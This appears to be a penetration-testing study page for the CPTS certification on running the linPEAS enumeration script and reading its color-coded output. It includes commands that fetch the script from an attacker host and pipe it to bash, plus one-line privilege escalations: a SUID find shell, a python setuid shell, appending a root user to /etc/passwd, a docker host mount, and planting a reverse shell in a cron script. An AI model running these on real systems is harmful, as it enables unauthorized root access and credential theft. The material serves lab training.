linPEAS

The definitive Linux privilege escalation enumeration script. Searches for SUID binaries, capabilities, cron jobs, writable paths, kernel exploits, passwords in files, and hundreds of other escalation vectors. Color-coded output guides you to the most promising findings.

Linux CPTS
LevelBeginner. Run it as soon as you have a shell on a Linux machine.
Know firstBasic Linux commands, and that the goal is to go from a normal user to root.
You will learn torun linPEAS, save its output, and read the colors to pick the most promising path to root.

What is it?

linPEAS (Linux Privilege Escalation Awesome Script) is a shell script that automates Linux privilege escalation enumeration. It checks hundreds of potential escalation vectors and presents findings with color-coded severity: red items are almost certainly exploitable, yellow items are interesting, and everything else is informational.

Without linPEAS, you'd be running dozens of manual commands: checking SUID binaries, reading cron tabs, looking for writable directories, searching for passwords in config files, checking kernel version against exploit databases. linPEAS does all of this in one script.

It is the Linux equivalent of winPEAS: same project, same philosophy, different OS.

Run this first

Serve the script from your machine, then run it on the target and save everything it prints.

bash: serve it, then run it on the target
# On your machine, in the folder that holds linpeas.sh
$ python3 -m http.server 80

# On the target
$ curl http://10.10.14.5/linpeas.sh | bash | tee /tmp/out.txt
  • | tee /tmp/out.txt saves the output while you watch it. linPEAS prints thousands of lines and you will search them more than once.

Read the red findings first, then the yellow ones. Try every password it finds with su root, and look at services listening on 127.0.0.1, which Nmap cannot see from outside.

Getting linPEAS on the target

linPEAS is a script on your attack box that needs to run on the target. Here are the most common transfer methods:

bash: transfer methods
# Method 1: curl from your HTTP server (most common)
# On attacker: python3 -m http.server 80
victim$ curl http://10.10.14.5/linpeas.sh | bash
# Runs directly without writing to disk

# Method 2: Download then execute (if you need to run it multiple times)
victim$ curl http://10.10.14.5/linpeas.sh -o /tmp/linpeas.sh
victim$ chmod +x /tmp/linpeas.sh
victim$ /tmp/linpeas.sh

# Method 3: wget
victim$ wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.sh

# Method 4: SCP (if you have SSH creds)
attacker$ scp linpeas.sh user@10.10.10.10:/tmp/

# Method 5: Base64 (if no curl/wget and no outbound connections)
attacker$ base64 -w0 linpeas.sh
# Copy the base64 string, then on target:
victim$ echo "BASE64STRING..." | base64 -d > /tmp/linpeas.sh
Pipe to bash for minimal footprint

curl http://attacker/linpeas.sh | bash runs the script without writing it to disk. This is cleaner and avoids leaving the script behind. But you lose the ability to re-run it, and if the connection drops mid-stream, you get partial output. For CPTS labs, downloading to /tmp is usually fine.

Running linPEAS

bash: execution options
# Standard run: all checks
victim$ ./linpeas.sh

# Save output to file (the output is massive, always do this)
victim$ ./linpeas.sh | tee /tmp/linpeas_output.txt
# tee shows output AND saves to file simultaneously

# Quiet mode: less noise, faster
victim$ ./linpeas.sh -q

# Run specific checks only
victim$ ./linpeas.sh -s
# -s = only "super fast" checks (SUID, capabilities, basic cron)

# No color (for saving output without ANSI codes)
victim$ ./linpeas.sh -a > /tmp/linpeas_output.txt
# -a = all checks, no color
linPEAS output is enormous

A full linPEAS run produces thousands of lines. Always pipe through tee so you can search through the output later: ./linpeas.sh | tee /tmp/out.txt. Trying to scroll through it in a reverse shell is painful. Save it, exfiltrate it if possible, and read it in a proper terminal.

Understanding the color coding

linPEAS uses colors to prioritize findings. Learning this system is key to working efficiently:

ColorMeaningWhat to do
RED/YELLOW (95%)Almost certainly a privesc vectorExploit this immediately. These are high-confidence findings like writable /etc/passwd, SUID on a GTFOBins binary, or root-owned cron running a script you can modify
RedVery likely interesting / exploitableInvestigate carefully. Likely leads to escalation with some additional work
YellowPotentially interestingWorth checking but might be a dead end. Common entries that sometimes lead somewhere
GreenUseful info / contextInformational. Users, groups, network info. Useful for understanding the system
BlueSection headers / user-relatedNavigation and context
Reading priority
  • Step 1: Scroll through and look only for RED/YELLOW (95%) items, these are your quick wins
  • Step 2: Check red items: these are strong leads that need a bit more investigation
  • Step 3: Review yellow items if steps 1-2 didn't work, sometimes the path is here
  • Step 4: If nothing found, go back and manually investigate interesting info from green items

Key sections to focus on

SUID binaries

output: SUID findings
╔══════════╣ SUID - Check easy privesc,01 exploits andடwrite perms
-rwsr-xr-x 1 root root   68208 Nov 29 2022 /usr/bin/passwd
-rwsr-xr-x 1 root root   44784 Nov 29 2022 /usr/bin/newgrp
-rwsr-xr-x 1 root root   26696 Sep 16 2020 /usr/bin/pkexec     <-- CVE-2021-4034!
-rwsr-xr-x 1 root root   14888 Mar  1 2023 /opt/custom/backup  <-- Custom SUID binary!
-rwsr-xr-x 1 root root   85064 Nov 29 2022 /usr/bin/chfn
-rwsr-xr-x 1 root root  166056 Apr  4 2023 /usr/bin/find      <-- GTFOBins!
SUID exploitation workflow

1. Check each SUID binary against GTFOBins (gtfobins.github.io). If it's listed, you have an instant privesc. 2. Custom SUID binaries (not in /usr/bin) are almost always the intended vector in CTFs, run strings and ltrace on them. 3. Common SUID wins: find (find . -exec /bin/bash -p \;), vim, python, nmap (old versions).

Capabilities

output: capabilities
╔══════════╣ Capabilities
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.10 cap_setuid=ep           <-- Can change UID to root!
/usr/sbin/tcpdump cap_net_admin,cap_net_raw=eip

Cron jobs

output: cron findings
╔══════════╣ Cron jobs
* * * * * root /opt/scripts/cleanup.sh
*/5 * * * * root /usr/local/bin/backup.py

╔══════════╣ Writable cron scripts
/opt/scripts/cleanup.sh is writable by your user!       <-- Edit this for root shell!

Writable paths and files

output: writable locations
╔══════════╣ Interesting writable files owned by me
/etc/passwd                                           <-- Add a root user!
/opt/scripts/cleanup.sh                                  <-- Cron runs this as root
/usr/local/lib/python3.10/dist-packages/requests.py      <-- Python library hijacking

Passwords in files

output: password findings
╔══════════╣ Searching passwords in config files
/var/www/html/wp-config.php: define('DB_PASSWORD', 'dbr00tP@ss!');
/opt/app/.env: DB_PASSWORD=production_secret_2024
/etc/apache2/sites-enabled/000-default.conf: # old password: admin123

Internal services

output: internal ports
╔══════════╣ Active Ports
tcp   0.0.0.0:22        LISTEN
tcp   0.0.0.0:80        LISTEN
tcp   127.0.0.1:3306    LISTEN      <-- MySQL on localhost only
tcp   127.0.0.1:8080    LISTEN      <-- Internal web app
tcp   127.0.0.1:6379    LISTEN      <-- Redis on localhost
Internal services are often the real path

Services listening on 127.0.0.1 aren't accessible from outside but you can access them from your shell. MySQL on localhost with the DB password from a config file = direct database access. An internal web app on 8080 might have its own vulnerabilities. Redis without authentication = potential code execution. Use port forwarding (Chisel or Ligolo) to access these from your attack box.

Common findings and what they mean

FindingWhat it meansExploitation
SUID on find/vim/pythonBinary runs as root and can spawn a shellGTFOBins command → instant root shell
cap_setuid on python/perlCan change process UID to 0 (root)python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
Writable cron scriptRoot runs your code on a scheduleAdd reverse shell command to the script, wait for cron
Writable /etc/passwdCan add a root-level userecho 'root2:$(openssl passwd pass123):0:0::/root:/bin/bash' >> /etc/passwd
Password in config fileDatabase/app credentials on diskTry password reuse for SSH/su. Access the database directly
Internal port 3306/6379/8080Service only accessible locallyAccess from your shell or tunnel it. Look for vulns
Writable /etc/shadowCan change root's password hashReplace root's hash with one you generated
Wildcard in cron tar/rsyncWildcard injection vulnerabilityCreate files that become flags to tar/rsync for code execution
Docker group membershipCan mount host filesystemdocker run -v /:/mnt --rm -it alpine chroot /mnt bash
Old kernel versionPotential kernel exploitCheck exploit-db for the specific kernel version

Decision tree: what to exploit first

Prioritize in this order
  • 1. Writable /etc/passwd or /etc/shadow → instant root. Add a user or change root's hash
  • 2. SUID/capability on a GTFOBins binary → instant root shell. Check gtfobins.github.io
  • 3. Writable cron script running as root → add a reverse shell. Wait max 1-5 minutes
  • 4. Passwords in config files → try su root with found passwords, or access databases/services
  • 5. Docker/LXD group membership → mount host filesystem and escalate
  • 6. Custom SUID binaries → reverse engineer with strings/ltrace to find exploitable behavior
  • 7. Internal services → access MySQL/Redis/web apps with found creds or known vulns
  • 8. Wildcard injection → if cron uses tar/rsync with wildcards in writable directories
  • 9. Kernel exploits → last resort. Check the kernel version against exploit databases

Common mistakes

Things that go wrong
  • Not saving output: linPEAS output is thousands of lines. Always use | tee /tmp/out.txt. You'll need to search through it multiple times
  • Only reading the RED items: Sometimes the path is in yellow items or even green info. If RED doesn't pan out, go back and read yellow carefully
  • Ignoring password findings: A database password might be reused as the root password. Always try su root with every password you find
  • Skipping internal services: Services on 127.0.0.1 are not visible from nmap. linPEAS shows them, these are often the intended path
  • Jumping to kernel exploits: Kernel exploits are unreliable and can crash the box. Try everything else first. In CPTS, the intended path is almost never a kernel exploit
  • Not using pspy alongside: linPEAS shows static cron configs, but pspy shows actual running processes. Some cron jobs are configured outside of crontab (systemd timers, custom schedulers). Run both
  • Running as root: linPEAS from a root shell is useless, you're already escalated. It's designed to run as a low-privilege user looking for ways up

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

Why save the output instead of reading it on screen?
It is thousands of lines long and you will need to search it several times, so pipe it through tee /tmp/out.txt.
The red findings lead nowhere. What next?
Read the yellow items carefully, and even the green information. The way in is sometimes outside the red items.
linPEAS finds a database password. What do you try with it?
Try su root with it, and with every other password you find. Passwords are often reused.
Why do services on 127.0.0.1 matter?
Nmap cannot see them from outside, but linPEAS lists them, and they are often the intended path.
Why try other findings before a kernel exploit?
Kernel exploits are unreliable and can crash the machine. In CPTS the intended path is almost never a kernel exploit.
linPEAS shows a cron configuration. Which tool shows what actually runs?
pspy, which watches running processes. Some jobs are scheduled outside crontab, for example by systemd timers or custom schedulers.